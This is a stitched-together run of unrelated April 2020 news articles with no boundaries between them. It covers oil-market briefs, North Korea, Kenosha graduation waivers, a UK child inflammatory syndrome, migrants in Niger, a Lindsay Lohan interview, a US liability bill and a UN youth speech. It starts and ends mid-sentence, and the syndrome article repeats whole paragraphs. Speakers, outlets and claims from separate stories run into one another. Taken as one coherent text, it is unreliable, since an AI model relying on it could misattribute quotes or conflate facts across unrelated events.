in April to the highest levels since December 2018. WTI contract for June to lose value. A rerun of the WTI meltdown is possible. Trading volumes are already down for June WTI and ETFs are trading out of the contract. No one wants to be among the last to close out their position ahead of expiry, fearing a repeat of the May expiry, Warren Patterson, head of commodities strategy at ING told the FT. The move we are seeing suggests that the June contract is going to become increasingly illiquid, and as a result, will likely suffer from increased volatility in the lead up to expiry. Imperials Kearl Oil Sands has more than 50 workers with coronavirus. Imperial Oil (TSE: IMO) said that more than 50 workers at its Kearl Oil Sands project have tested positive for COVID-19. Shut ins increase. Storage is filling up and forcing larger shut-ins. We are moving into the end-game, Torbjorn Tornqvist, head of commodity trading giant Gunvor Group Ltd., told Bloomberg. Early-to-mid May could be the peak. We are weeks, not months, away from it. According to Goldman Sachs, global oil storage could be completely full within the next three weeks. The investment bank said that upwards of 18 mb/d of supply would need to be shut in by then. Up until now, the shut-ins have been relatively minor compared to what is expected. BP amends $5.6 billion Alaska sale. BP (NYSE: BP) said that it adjusted the terms of its $5.6 billion sale of its Alaska assets to privately-held Hilcorp Energy. The deal is expected to maintain the majority of the value of the transaction, BP said in its statement. Banks rule out Arctic oil. In the face of withering pressure from environmental groups, a growing number of big banks are cutting out Arctic oil from their lending programs. Morgan Stanley became the latest major bank to declare that it would end financing for Arctic oil. Tanker rates soar. The cost of storing refined products at sea has soared amid the glut. The VLCC market continues to be strong . . . but we are starting to see demand flow over into the product market, Lois Zabrocky, CEO International Seaways, told the FT. Refiners are facing challenges recalibrating supply and demand. BPs profit falls, debt rises. BP (NYSE: BP) saw its profit fall by two-thirds in the first quarter, and its debt soared to the highest level on record. Still, the oil major didnt touch its dividend. Stuart Joyner, equities analyst at Redburn, told Reuters that BPs large rise in net debt overshadows (its) underlying earnings beat. Solar and wind cheapest for two-thirds of planet. Solar PV and onshore wind are now the cheapest source of electricity for at least two-thirds of the global population, according to Bloomberg New Energy Finance. Batteries are now the cheapest for peak times in gas-importing regions such as Japan, China and Europe. Continental Resources sued. Casillas Petroleum Resource Partners sued Continental Resources (NYSE: CLR), because of Continentals decision to back out of a $200 million deal to buy oil and gas assets from Casillas. German companies call for green stimulus. A coalition of major German companies said any coronavirus-related stimulus should be focused on climate action. Saudi economy hit hard. Saudi Arabia needs oil prices to trade above $80 per barrel for it to balance its budget. GDP could shrink more than 3 percent this year and the government budget deficit could be 15 percent of GDP. DOE to rent out SPR. The U.S. Department of Energy has finalized deals to rent out space in the strategic petroleum reserve (SPR). So far, 1.1 million barrels have been delivered out of an expected 23 million barrels. 3 Scenarios to push oil to $30. Brent has sunk to $20. There are three big factors that will determine how quickly oil prices rebound in the short run. LNG market imploding. The global market for LNG was entering a downturn even before the pandemic and global lockdowns. Now a few dozen LNG cargoes face cancellation amid a slowdown and a global glut. Cheniere Energy (NYSE: LNG) may bear the brunt of the cargo cancellations. A new study finds that the market is imploding. By Josh Owens for Oilprice.com Ramp up preparedness for any contingencies After saying that he did not know anything about North Korean leader Kim Jong-un's condition about a week ago, U.S. President Donald Trump said in his White House briefing Monday that he has a "very good idea but cannot talk about it now." Trump then said people will hear about it soon. South Korea's Foreign Minister Kang Kyung-wha Tuesday recapped the government's assessment at the National Assembly that "While there is no public activity of the North Korean leader Kim Jong-un since the April 11 Workers' Party Politburo meeting, there is no unusual movement in North Korea detected even amid an array of recent reports." Former North Korean diplomat and lawmaker-elect Tae Ku-min, better known as Thae Yong-ho, said in an interview with CNN that one thing for sure was that Kim probably "could not stand or walk on his own." Tae added, however, that such vital information regarding the North's leader would be known only by either Kim's wife, sister Kim Yo-jong and closest aides. After Kim was absent from an important April 15 event marking the 108th anniversary of his grandfather and North Korea founder Kim Il-sung's birthday, unconfirmed news has been pouring forth about Kim's health condition. A South Korean daily reported that United States and South Korea military sent six reconnaissance planes simultaneously on Monday, in an apparent effort to reach closer to the truth. For the moment, the cautious evaluation is that the Northern regime is not showing unusual movement, despite the prolonged absence of the 36-year-old leader. The third-generation Kim dynasty heir however has practiced long-term "disappearances" since he took power in late 2011. Thus, taking advantage of the second anniversary of the historic Panmunjeom Declaration on Monday, President Moon Jae-in said he will pursue "realistic and practical ways for inter-Korean cooperation." The two Koreas can begin with the cooperation on COVID-19 crisis, follow through with joint projects in railroads and family reunions, he said. Whether intended or not, the ball seems to be again in North Korea's court; a continuing trend over the past few decades. It is even ironic that even silence from the North, regarding its leader's whereabouts gains the North more global attention it craves than the missiles it has fired in recent years in its pursuit of nuclear weaponization. In that regard, South Korea must exercise vigilance in the traditional sense of security for the Korean Peninsula, even as it marches on toward fulfilling cooperative projects. The Panmunjeom Declaration was for "peace, prosperity and unification" of the peninsula. A wise North Korean leadership may well take the opportunity of the situation to re-enter the international venue for talks, all but stalled since the breakdown of the U.S.-North Korea talks in Hanoi, Vietnam, in February 2019. We can only hope for the North's sensible and strategic response to the South's proposals. Graduation requirements for Kenosha Unified students in the Class of 2020 will change in the face of the coronavirus crisis, which has closed buildings for the remainder of the academic year. The KUSD School Board voted to waive the requirements for 10 hours of community service and 23.5 elective and state-defined credits, along with the Wisconsin Civic Exam for students graduating this year. Kris Keckler, the districts chief information officer, said because of the COVID-19 pandemic, every district in the state has applied for some form of academic requirement waiver. In Unified, high school students are required to complete a minimum of 10 hours of service to the community, he said. About half the seniors have yet to complete the minimum service time. Theres nothing preventing the student from still working to obtain this minimum requirement; nor is there anything preventing them from working to achieve the 100 hours for service distinction on their report card, he said. They might have to get creative in how they do some type of charitable work over the next coming weeks, but they can still submit that. It just happens to be, if a student does need to have a portion of that waived, we can address it. Locally, districts are encouraged to require 8.5 credits of electives, while 15 are state requisites in: English, 4 credits; social studies, math and science, each at 3 credits; and 1.5 credits and half a credit, respectively, in physical education and health. However, the waivers would help students who have not completed all of those courses. Usually, this time of year the only thing required for most of our seniors would be half a credit of English in their second semester, he said. And most are still, obviously, in that course, hoping to complete a grade for it. But if a student happened to fall in that category (not completing), they would receive the waiver applicable designation on their transcript. Waiver does not apply for IOWA tests For about 10% of students graduating with a high school competency diploma from Unified, only the three courses consumer education, health and government/politics would be waived. The diploma is based on a rigorous alternate assessment known as the IOWA tests, which measures reading, writing, vocabulary, math, science and social studies, and for which the waiver does not apply. Weve made modifications of them taking that online in a remote setting and then well work with them on those other requirements as well, Keckler said. Another state requirement for graduation, the Wisconsin Civics Exam, which asks students 100 questions typically asked of those applying for U.S. citizenship, has also been waived for the 2019-20 academic year. To pass, students must answer 65 questions correctly. According to district officials, no student has been denied graduation based solely on the civics requirement. Currently, at least 294 seniors have yet to pass, a number that may also reflect those with an existing individualized education program, who are asked only to attempt the exam. DPI accountability waivers The Wisconsin Department of Public Instruction earlier this spring applied for waivers for accountability assessments as required by the federal government and was approved. In Wisconsin, those tests include the Forward Exam, ACT Aspire and the Dynamic Learning Maps for students with significant cognitive disabilities. As a result, said Keckler, there will be no assessments for the 2019-20 academic year, and thus, neither the district nor its schools will have state report cards, which have been issued in the fall. The annual instructional minutes requirement and the educator effectiveness evaluation were also waived. The waivers are intended to help districts should we need them, which we do, in the event of, obviously, in this pandemic, said Superintendent Sue Savaglio-Jarvis. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A mother has told how her two-year-old son was rushed to hospital with a dangerous 'inflammatory syndrome' thought to be linked to COVID-19. Gemma Brown, 38, told MailOnline her son, Bertie, was admitted to Worcestershire Royal Hospital last month on his second birthday, when his temperature soared over 40C (104F) and his blotchy rash began to turn black. Doctors were initially baffled but a senior consultant eventually diagnosed the boy with the rare Kawasaki disease, a form of toxic shock syndrome which causes the bodys immune system to attack its own organs. But Bertie was not given a COVID-19 test, leaving both medics and his family in the dark about a possible link between Kawasaki disease and coronavirus. Doctors were yesterday issued an alert about a sharp rise in the number of infants being admitted to intensive care across the UK with the 'inflammatory syndrome' over the past three weeks. Most of the children affected already have Kawasaki disease, NHS sources said. Health chiefs today insisted they are 'unaware' of any deaths in British children from the inflammatory syndrome - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions. Officials have refused to say how many British children have been affected by the illness but up to 20 have been hospitalised, it emerged today. One child needed to be put on a form of life support after their heart and lungs began to fail. The majority of the patients are thought to be under the age of five. Bertie Brown was admitted to Worcestershire Royal hospital last month on his second birthday after developing a fever and rash across his body His temperature soared over 40C (104F) and the blotchy rash spread across his body and began to turn black Doctors were initially baffled but a senior consultant eventually diagnosed the boy with the rare Kawasaki disease The condition is a form of toxic shock syndrome which causes the bodys immune system to attack its own organs I dont know how the Government is going to prove theres a link if theyre not testing patients, the mother-of-two from Droitwich Spa, Worcestershire, said. I asked for him to be tested, as I had a gut feeling that there was a connection between COVID-19 and Kawasaki. Both attack your immune system and the whole family had been poorly with covid symptoms before Bertie fell ill. I was adamant that there was a link and was begging for a test, but they just told me that there was no need to test the under-fives. The boy was given an immunoglobin transfusion and was in hospital for five days. It was horrific seeing him like that, Mrs Brown said. He didnt have any respiratory problems but he was put in a ward on his own and he was easily the most poorly child in the hospital. His rash had started out being itchy, but it quickly put him in agony. His temperature was dangerously high and they were monitoring him round the clock. Bertie, who was born very prematurely weighing only 1.5lb, has always had a weak immune system, making him susceptible to viruses. Two-year-old Bertie Brown, his mother Gemma, 38, and his older brother George, 14 Bertie's mother believes the painful rash (shown on his legs) was caused by a complication of coronavirus But Bertie was not given a COVID-19 test, leaving both medics and his family in the dark about a possible link WHAT IS KAWASAKI DISEASE? KAWASAKI DISEASE Kawasaki disease is a condition that causes inflammation in the walls of the blood vessels and affects mostly children under five years old. The inflammation can weaken the coronary arteries, which supply the heart with blood. This can lead to aneurysms and heart attacks. The condition affects eight children out of every 100,000 and statistics show it is fatal in three per cent of cases that go untreated. WHAT SYMPTOMS DOES IT CAUSE? The symptoms of Kawasaki disease usually develop in three phases over a six-week period, according to advice on the NHS' website. The first signs are a fever and a rash in the first few weeks, followed by the eyes of children becoming red and swollen. It can also cause the lips to dry up and crack, a sore throat, swollen lymph glands and the tongue to become red, the NHS warns. The second phase of Kawasaki disease often causes symptoms such as abdominal pain, vomiting, diarrhoea, headaches, joint pain and jaundice. In the third phase, symptoms tend to disappear but children 'may still have a lack of energy and become easily tired during this time'. Advertisement Thank God he is OK now and has come home, though hes still on Aspirin to prevent his blood clotting, his mother said. Hes much better in himself. But the fact is that we just dont know whats been going on as he wasnt tested for coronavirus. The Health Secretary was quizzed on LBC about the inflammatory syndrome and admitted he was 'very worried' by the mysterious complication. He was also asked about how many children had died from coronavirus. He originally said all the deceased youngsters had 'significant underlying health conditions' but then backtracked immediately after host Nick Ferrari questioned him about the new inflammatory illness that had prompted the national alert. Mr Hancock then admitted 'some' children with no health woes had succumbed to COVID-19. The Department of Health today insisted that Mr Hancock was not referring to children who have died from the inflammatory syndrome potentially linked to the disease - and was discussing COVID-19 deaths in general. Mr Hancock revealed some of the children who needed intensive care from the inflammatory syndrome tested negative for the coronavirus, further complicating the diagnosis. And he told LBC they were looking into the situation with 'great urgency'. On Monday, doctors were issued an alert about a sharp rise of infants being admitted to intensive care with a Kawasaki-like disease in Britain and Italy. The majority of Kawasaki patients are thought to be under the age of five, and some are so badly affected that they have to be put on life support. The disease is a condition that causes inflammation in the walls of the blood vessels and affects mostly children under five years old. There are roughly eight cases for every 100,000 children in the UK and statistics show it is fatal in three per cent of cases that go untreated. The new COVID-19-linked cases are occurring when someone with Kawasaki disease contracts the virus and that produces complications, an NHS source told the Guardian. Children are not thought to be badly affected by COVID-19 - very few youngsters have died around the world since the pandemic began in December. Their apparent resilience to the disease has baffled doctors for weeks because they are often 'super-spreaders' of viral illnesses such as flu. The children being seen with this syndrome often suffer from stomach pain, cardiac inflammation and 'gastrointestinal symptoms' - which could include vomiting and diarrhoea. Chief medical officer Professor Chris Whitty said yesterday is 'entirely plausible' this spike is linked to the COVID-19 outbreak. Speaking at No 10's press briefing yesterday, he added: 'Because we know that in adults who of course have much more disease than children do, big problems are caused by an inflammatory process and this looks rather like an inflammatory process, a rather different one. Bertie, who was born very prematurely weighing only 1.5lb, has always had a weak immune system, making him susceptible to viruses 'Therefore, given that we have got a new presentation of this at a time with a new disease, the possibility - it is not a definite, we need to look for other causes as well - but the possibility that there is a link is certainly plausible.' NHS medical director Professor Stephen Powis sent an alert to his experts on Monday, instructing them to drill down into the alarming numbers of children with the syndrome. According to the alert, which was originally shared with GPs in north London, children affected display signs similar to toxic shock syndrome (TSS), a severe illness associated with infections, and have blood markers in line with severe Covid-19 in children. Doctors have compared the mysterious complication to toxic shock syndrome and Kawasaki disease which, combined, cause harmful internal swelling, fever and breathing problems - all hallmark signs of COVID-19. But some of the children needing intensive care have tested negative for the coronavirus, further complicating the diagnosis and raising questions that another pathogen could be behind the condition. Officials have yet to offer any clarity on what the symptoms are, despite pleas from paediatricians to paint a clearer picture so they can look out for them. It is not clear how many children have had the inflammatory syndrome, nor whether any have died with it. It is also unclear how old the children have been. But it is thought to have only affected a 'handful' of children so far, according to one prominent paediatrician who admitted the complication could be caused by another pathogen. Health chiefs admit they 'don't know' how many British children have died from an inflammatory syndrome linked to coronavirus - despite 'some' youngsters mysteriously dying with no underlying conditions A number of children with no underlying health conditions have died from a COVID-19-linked inflammatory syndrome, Health Secretary Matt Hancock revealed today on LBC Radio Health chiefs today insisted they are 'unaware' of any deaths in British children from a serious 'inflammatory syndrome' thought to be linked to the coronavirus - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions. Doctors were yesterday issued an alert about a sharp rise in the number of infants being admitted to intensive care across the UK with the Kawasaki-like disease. Officials have refused to say how many British children have been affected by the illness but up to 20 have fallen critically unwell, according to reports. One child needed to be put on a form of life support after their heart and lungs began to fail. The majority of the patients are thought to be under the age of five. The illness appears to be similar to Kawasaki disease - which causes blood vessels to become inflamed, and toxic shock syndrome - an overreaction by the immune system which causes the body to attack its own organs. The Health Secretary was quizzed on LBC about the inflammatory syndrome and admitted he was 'very worried' by the mysterious complication. He was also asked about how many children had died from coronavirus. He originally said all the deceased youngsters had 'significant underlying health conditions' but then backtracked immediately after host Nick Ferrari questioned him about the new inflammatory illness that had prompted the national alert. Mr Hancock then admitted 'some' children with no health woes had succumbed to COVID-19. The Department of Health today insisted that Mr Hancock was not referring to children who have died from the inflammatory syndrome potentially linked to the disease - and was discussing COVID-19 deaths in general. Mr Hancock revealed some of the children who needed intensive care from the inflammatory syndrome tested negative for the coronavirus, further complicating the diagnosis. And he told LBC they were looking into the situation with 'great urgency'. Officials have yet to offer any clarity on exactly what the symptoms are, despite pleas from paediatricians to paint a clearer picture so they can look out for them. Kawasaki disease and toxic shock syndrome, combined, cause harmful internal swelling, fever and breathing problems - all hallmark signs of COVID-19. Speaking on LBC this morning, Mr Hancock was quizzed by Nick Ferrari about how many children had died from coronavirus. The Health Secretary originally said all deceased youngsters had 'significant underlying health conditions' but then backtracked to say 'some' children with no health woes had succumbed to the mysterious inflammatory syndrome. Mr Hancock said: 'We have lost some children, in all of the instances I know of they had quite significant underlying health conditions.' WHAT DO WE KNOW ABOUT THE SYNDROME? HOW IS THE CONDITION AFFECTING CHILDREN? The memo warned of a rise in the number of children being admitted to intensive care with a 'multi-system inflammatory state'. This refers to the over-production of cytokines, known as a cytokine storm - the overreaction of the body's immune system. In a storm, the proteins start to attack healthy tissue, which can cause blood vessels to leak and lead to low blood pressure. Doctors say this also happens with Ebola, causing the body to go into shock. It has also been noted in older COVID-19 patients. WHAT SYMPTOMS DOES IT CAUSE? The children being seen with the new syndrome often suffer from stomach pain, cardiac inflammation and 'gastrointestinal symptoms' - which could include vomiting and diarrhoea. Officials did not reveal any other symptoms of the condition, despite pleas from paediatrics to specify the tell-tale signs they need to look out for. The cases share overlapping features of toxic shock syndrome and atypical Kawasaki disease, according to the memo that was sent around. Two of the most common symptoms of Kawasaki disease include a rash and a fever. TSS also causes a rash, dizziness and diarrhoea. WHEN DID OFFICIALS FIRST START TO SEE CASES? The alert sent to doctors said the spike had been seen in the past three weeks - but did not explain why it had only just been noticed. NHS England did not reveal if it had been spotted before but said it was important clinicians were made aware of any 'emerging links'. Officials did not confirm how many cases have been spotted across the UK - but senior paediatricians have said there are just a 'handful'. It is unclear if any children have died from the condition - but the fact they have been admitted to intensive care means their state is serious. WHERE IN THE UK ARE CASES BEING SPOTTED? The alert was sent to GPs to in North London by their local health board - understood to be the North Central London CCG. The alert was also tweeted by the Paediatric Intensive Care Society, and the British Paediatric Allergy Immunity and Infection Group. Officials warned that the syndrome had been reported 'across London and also in other regions of the UK'. It is currently unclear what the other regions are and the memo did not reveal if there are any clusters dotted across the home nations. Advertisement When Mr Ferrari probed Mr Hancock about the new inflammatory illness, the Health Secretary backtracked, saying: 'I just want to correct myself, there are some children who have died who didn't have underlying health conditions that I know of. 'It's a new disease that we think may be caused by coronavirus. We're not 100 per cent sure because some of the people who got it hadn't tested positive, so we're doing a lot of research now but it is something that we're worried about. It is rare, although it is very significant for those children who do get it, the number of cases is small. 'We put out at the weekend a call across the NHS because some cases of this had been identified and then this call essentially says to doctors in other parts of the country, "Have you seen this condition?" and then they collate the information and find out what's going on.' Officials told the PA news agency fewer than 20 children in England have been admitted to hospital with the mysterious syndrome. Doctors have compared it to toxic shock syndrome and Kawasaki disease which, combined, cause harmful internal swelling, fever and breathing problems - all signs of coronavirus. But some of the children needing intensive care have tested negative for COVID-19, further complicating the diagnosis and raising questions that another pathogen could be behind the condition. Officials have yet to offer any clarity on what the symptoms are, despite pleas from paediatricians to paint a clearer picture so they can look out for them. It is not clear how many children have had the inflammatory syndrome, nor how many have died with it. It is also unclear how old the children have been. However, most of the children affected by the inflammatory syndrome already have Kawasaki disease, an NHS source told The Guardian. Kawasaki disease is a condition that causes inflammation in the walls of the blood vessels and affects mostly children under five years old. There are roughly eight cases for every 100,000 children in the UK and statistics show it is fatal in three per cent of cases that go untreated. The new COVID-19-linked cases are occurring when someone with Kawasaki disease contracts the virus and it produces complications, the source told the newspaper. Children are not thought to be badly affected by COVID-19 - very few youngsters have died around the world since the pandemic began in December. Their apparent resilience to the disease has baffled doctors for weeks because they are often 'super-spreaders' of viral illnesses such as flu. But children being seen with this syndrome often suffer from stomach pain, heart inflammation and 'gastrointestinal symptoms' - which could include vomiting and diarrhoea. NHS medical director Professor Stephen today urged parents who are worried about a child who is sick and not recovering to seek medical help. In an attempt to control the spread of Covid-19, hundreds of migrants from sub-Saharan Africa have been under lockdown for more than three weeks in a camp in northern Niger where they are awaiting repatriation after being kicked out of Algeria. On 20 April, a small group of desperate people forced open the doors of one of the shops in the camp and stole goods. Our Observer, who witnessed the robbery, says that conditions in the camp under lockdown have become unbearable. Hundreds of migrants from sub-Saharan Africa ended up in Niger after Algerian authorities forcibly removed them from the country. The International Organization for Migration (IOM) has been working in Niger to help repatriate these migrants back to their home countries. Their mission has become much more difficult during the Covid-19 pandemic as many countries shut their borders. On 2 April, smugglers abandoned more than 250 migrants along the border between Niger and Libya. Before they can be sent back to their home countries, the migrants must transit through one of the four centres located in the north of Niger, near the borders with Libya, Chad and Algeria. The IOM reports that there are nearly 640 migrants currently placed in the Arlit camp in the Agadez region, which is 240 kilometres south of the Algerian border. Algeria also sent undocumented migrants working illegally in the country to the Nigerien border. Hundreds of migrants were first put in the Assamaka camp and then in the Arlit camp. Arlit is where, on 20 April, several migrants staged protests, calling for better living conditions. They also looted a shop run by the IOM. Lots of migrants were deported from Algeria still wearing their work clothes, which were often ripped or covered with paint or cementRafa [not his real name] is a migrant from sub-Saharan Africa who spent about a year working without papers in the Algerian town of Oran. On 14 March, he was rounded up by the Algerian authorities and dropped off at the border with Niger. Rafa has been living in Arlit since early April and has to undergo quarantine before being repatriated. He told the FRANCE 24 Observers about why the migrants in Arlit started protesting. Story continues We havent seen a single official here since we arrived on 4 April. No one from the IOM or the town of Arlit has come to the camp. Thats why we decided to hold a protest. Soldiers, police officers and gendarmes carrying heavy weapons surrounded us. But we decided it was time to stage a bit of a revolt! People from the camp managed to enter Assamaka [Editors note: a town on the Algerian border]. A representative from the Niger government came to talk to us. We understand your concerns, he told us. But you need to do a two-week quarantine. Its obligatory. Our Observer sent this photo of camp Arlit. We stayed in Arlit for 15 days. But at the end of the quarantine period, no one came to see us. We waited another day and, still, no one came. So we decided to demand talks with the IOM. No one provided us with soap and towels. Lots of people who came from Algeria with me were deported in their work clothes, which, in many cases, were dirty, ripped or covered with paint or cement. In the camp shop, there was everything we needed On 20 April, some of the camp residents started an uprising. A few people started to think, We can find everything we need in the shops, and broke into one. I went into one of the shops and I saw that there were a lot of items of clothing and essential goods [Editors note: primarily cleaning products] that we didnt have. Thats when the police arrived. They let off tear gas, even in the streets of the town. At least 13 people were arrested and brought to the police station, where they are still being detained [Editors note: Rafa gave his account on 24 April]. Those who fled the camp to escape the tear gas were barred from reentering. On the morning of April 22, the police prefect came to the camp to try and negotiate the reentry of these people but officials wouldnt let everyone go back in. As I speak, some of them are still sleeping in front of the camp, some on pieces of cardboard. Some people tried to climb over the gate, but it has barbed wire on it. For the time being, police and gendarmes are keeping watch over the camp. The FRANCE 24 Observers team spoke with Barbara Rijks, who runs the IOM mission in Niger. There was some unrest in the centre. The migrants are frustrated, which is perfectly understandable. We told them that the borders are closed. Unfortunately, some of the migrants are directing their anger at IOM staff, who are also frustrated by the situation. To my knowledge, there was a quarantine site at Arlit, but it closed on April 11. Now, it is just a transit centre. The IOM owes us an explanation Rafa says that the revolt occurred because there was no communication or dialogue between migrants living in the centre and IOM officials, who run the Arlit camp. When they arrived in Assamaka, the migrants didnt have access to potable water or any sleeping mats. There were only four tents for a total of 900 people. Our Observer says that his belongings, including money and his cellphone, were taken from him in Algeria. Many other migrants have shared similar accounts. In order to facilitate dialogue with IOM officials and improve their living conditions, the migrants nominated delegates to represent each nationality present on the site: Malian, Guinean, Cameroonian, Beninese. However Rafa says that discussions still havent taken place. Quarantine is unbearable in these conditions. We already spent 14 days in isolation in Assamaka. Getting to Arlit was a small victory for us. A bit of hope. For us, coming here meant that everyone would be sent back to their respective countries. But when we got to Arlit, we found out that wed have to endure 15 more days of quarantine. No complaints about the food; weve been eating well. But weve been in the camp for almost three weeks and we havent seen a single official. We only see security guards. No one from the IOM has come to explain what is going to happen to us. They owe us an explanation. Right now, all that we know is that we were kicked out of Algeria and everyone has to go back to his or her country of origin. But we cant go back because of coronavirus! The IOM says that, for the time being, its not possible for the migrants to go back to their home countries. We understand their frustration, but we have staff on site who are also stuck in this difficult situation. We are talking to them about how to avoid infection and weve provided internet access so that the migrants can look up information themselves. Weve reduced the number of personnel on site to limit the risk of infection and transmission. Sometimes it is hard to get across the right information -- lots of them dont believe that the borders are closed because lots of people are still crossing illegally. Under normal circumstances, people stay in the camp for two or three weeks but quite a lot of them dont have any identity documents so it takes longer. Since the borders have been shut down, weve had to negotiate with Niger officials to open up border posts and let people return to their home countries. However, we are still waiting for a green light from the home countries of these migrants, which include Mali, Nigeria, Guinea and Benin. For the time being, these people cant yet leave Niger. Article by Fatma Ben Hamad. Trying to avoid the paparazzi? Lindsay Lohan definitely gets it. After all, there was a time when the star couldn't escape the paparazzi wherever she turned. While the 33-year-old songstress has since somewhat retreated from the glare of the spotlight while living abroad, she hasn't forgotten what life is like for a celebrity in California. While chatting with Andy Cohen on his SiriusXM show, Radio Andy, he brought up claims that Prince Harry and Meghan Markle have moved to Malibu, an area where he said the is "a ton of paparazzi." He asked Lohan to weigh in with some advice to the couple for avoiding the paparazzi, which spurred some laughs out of Lohan. "I mean unless they own another, a different private beach, right?" she quipped. "You can't go to those beaches without beingyou can't even surf out far enough." Prince Harry and Meghan Markle's History-Making Moments "It's just really hard to do anything publicly [there]," she said. However, if the royal pair is looking to settle into a new home right now, Lohan pointed out it's a good time considering people are staying inside to social distance. "The timing right now luckily is everyone is more at home," she said. "But, once that's overjustget drivers." Lindsay Lohan, Prince Harry, Meghan Markle Last month, a source confirmed to E! News that the Duke and Duchess of Sussex had recently left Canada and settled into a "large" home in the Los Angeles area after completing their final royal engagement and officially stepping down as senior members of the royal family. The former Suits star was born and raised in California. And, while their new non-profit endeavor, Archewell, is publicly on pause right now amid the coronavirus pandemic, the world-famous couple managed to subtly deliver meals to Los Angeles residents earlier this month. "Meghan and Harry were looking to be of service on Easter and Meghan was talking to her mother who told her Project Angel Food needs help. She said, 'Yes, I would love to do it,'" Project Angel Food's executive director Richard Ayoub told E! News. "They contacted us and came in and we gave them a tour of the kitchen. They were very engaged with everyone they met and asked questions. They were completely down to earth and interested in helping our more vulnerable clients, people who have compromised immune systems who are the most prone to getting the coronavirus." "I gave them the protocols in terms of masks, gloves and six feet of social distancing. So, they went out and knocked on doorsteps wearing N95 masks and gloves," Richard shared. "They were pretty covered up so some of the people they delivered to may not have had any idea who they were. We did get one call yesterday from someone who said, 'It just dawned on me. Was that who I think it was?'" Sasse Liability Bill Protects Medical Heroes, as Fight With Trial Lawyers Nears It will be doctors and nurses on the front lines versus opportunistic trial lawyers when Congress returns to Washington on May 4 and begins consideration of the fifth major CCP virus recovery bill in recent months. Odds are good that Sen. Ben Sasse (R-Neb.) will be a major player. He told The Epoch Times on April 28 that ambulance chasers shouldnt turn a pandemic into a payday. Doctors and nurses around the country have enough to worry about fighting this virus, they shouldnt have to worry about frivolous lawsuits. My bill would give our doctors and nurses some common-sense liability protections. Theyve got our backs; we ought to have theirs, he said. Senate Majority Leader Mitch McConnell (R-Ky.) set the stage April 27 by noting the need for additional legal protections for medical personnel fighting the CCP virus, also known as the novel coronavirus, against costly, time-consuming lawsuits. A massive tangle of federal and state laws could easily mean their heroic efforts are met with years of endless lawsuits, McConnell said, warning against what he called the biggest trial lawyer bonanza in history. McConnell said that while some protections were included in previous recovery legislation, the brave health care workers battling this virus, and the entrepreneurs who will reopen our economy, deserve strong protections from opportunistic lawsuits. We will need to expand and strengthen them. He was referring to a provision of the Coronavirus Aid, Relief, and Economic Security (CARES) Act that protects manufacturers of N95 medical masks from lawsuits filed by users claiming product failure. That means a proposal introduced by Sasse is likely to be the major focus of the legislative debate. In ERs and ICUs across America, doctors and nurses are writing the playbook as they fight this virus one day at a time. These heroes need a common-sense liability shield so that they dont have to worry about lawsuits while theyre scrambling to save lives, Sasse said in a statement accompanying the March 30 introduction of his proposal. This legislation gives emergency liability and patent protections to health care professionals who are innovating on the front lines. America is going to beat this virus. Congress needs to make sure that Phase Four legislation protects our doctors and nurses from a plague of lawsuits, he said. Democrats in Congress will oppose legislation such as the Sasse proposal as a direct threat to one of their most powerful and dependable special-interest supporters. More than 97 percent of political contributions by the American Association for Justice (AAJ), formerly known as the American Trial Lawyers Association (ATLA), have gone to Democrats to date in the 2020 campaign, according to OpenSecrets.org. The percentage has barely changed in every election since 1990, and incumbent Democrats in Congress have always been the primary recipients. Trial lawyers also account for the bulk of contributions overall that make support by lawyers and law firms the Democratic Partys second-largest source of contributions. Not all Democrats do the bidding of trial lawyers, however. Former Sen. Blanche Lincoln of Arkansas joined with former Sen. Rick Santorum of Pennsylvania, a Republican, in a USA Today op-ed last week, observing that: While most Americans support efforts to fight this pandemic, a minority of bad actors attempt to take advantage of it. Trial lawyers, who see profit in these challenging and vulnerable times, have begun soliciting for new plaintiffs and suing companies and insurers. Sasses bill provides protection against liability for medical personnel treating CCP virus victims in three areas of activity, including: Using or modifying a medical device for an unapproved use or indication. Practicing without a license or outside of an area of specialty, if instructed to do so by an individual with such a license or within such an area of specialty. Conducting the testing of, or the provision of treatment to, a patient outside of the premises of standard health care facilities. Liability worries have caused spiraling health care costs in recent decades as individual and institutional medical care providers faced increasing risks of being sued by trial lawyers in malpractice litigation. A 2018 study by researchers at Harvard University and Melbourne University estimated such defensive medicinehigher malpractice insurance fees and doctors ordering more tests as hedges against being suedadded nearly $47 billion annually to the cost of health care. The study estimated the total added health care costs that result from medical liability issues to be $55 billion, according to Policy & Medicine. Contact Mark Tapscott at Mark.Tapscott@epochtimes.nyc TANZANIA, Tanzania - U.N. Secretary-General Antonio Guterres warned Monday that extremist groups are taking advantage of COVID-19 lock downs to intensify social media efforts to spread hatred and recruit young people who are spending more time online. Even before the coronavirus pandemic, he said, one of every five young people was not getting an education, training or working, and one of every four was affected by violence or conflict. And he lamented that every year, 12 million girls become mothers when they are still children. Guterres told a U.N. Security Council meeting on youth, peace and security that these frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions. When such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalization climbs, he said. But despite these challenges, the U.N. chief said young people are still finding ways to engage, support each other, and to demand and drive change including in the fight against COVID-19. Guterres pointed to young people in Colombia, Ghana, Iraq and several other countries joining humanitarian workers in delivering supplies to front-line health workers and people in need, keeping communications open within communities while maintaining social distancing. He said young people are also supporting his March 23 call for a cease-fire in all conflicts in the world. Jayathma Wickramanayake, the secretary-generals envoy on youth, criticized the media for focusing on the small minority of young people who disregarded guildelines and put people at risk by going to beaches, pubs and parties and for completely sidelining the thousands of young people who were already fighting in the front lines of the crisis. She pointed to young people in Kenya and Cameroon who immediately adopted their peacebuilding organizations and networks to help their communities face COVID-19, the many young health workers and medical students attending to coronavirus patients in China and Italy, the Scouts, Girl Guides and Red Cross youth volunteers running environment and hand-washing campaigns in Jordan and elsewhere, and young people making face masks and fundraising in the United States. Wickramanayake dedicated her speech to all the young people who are putting their communities ahead of themselves within war zones, within refugee camps, within favelas and within settlements, showcasing grit and leadership that sometimes we even fail to see in our own political leaders. Secretary-General Gutteres and many Security Council ambassadors stressed the impact of COVID-19 on young people, from a suspension of their education to lost jobs, family stress, mental health issues and other hardships. According to the U.N. chiefs recent report to the council, there are 1.85 billion young women and men aged 10 to 24 in the world in 2020, 90 per cent of them living in developing countries and many in conflict areas. Young people are a huge source of new ideas, solutions and innovation, 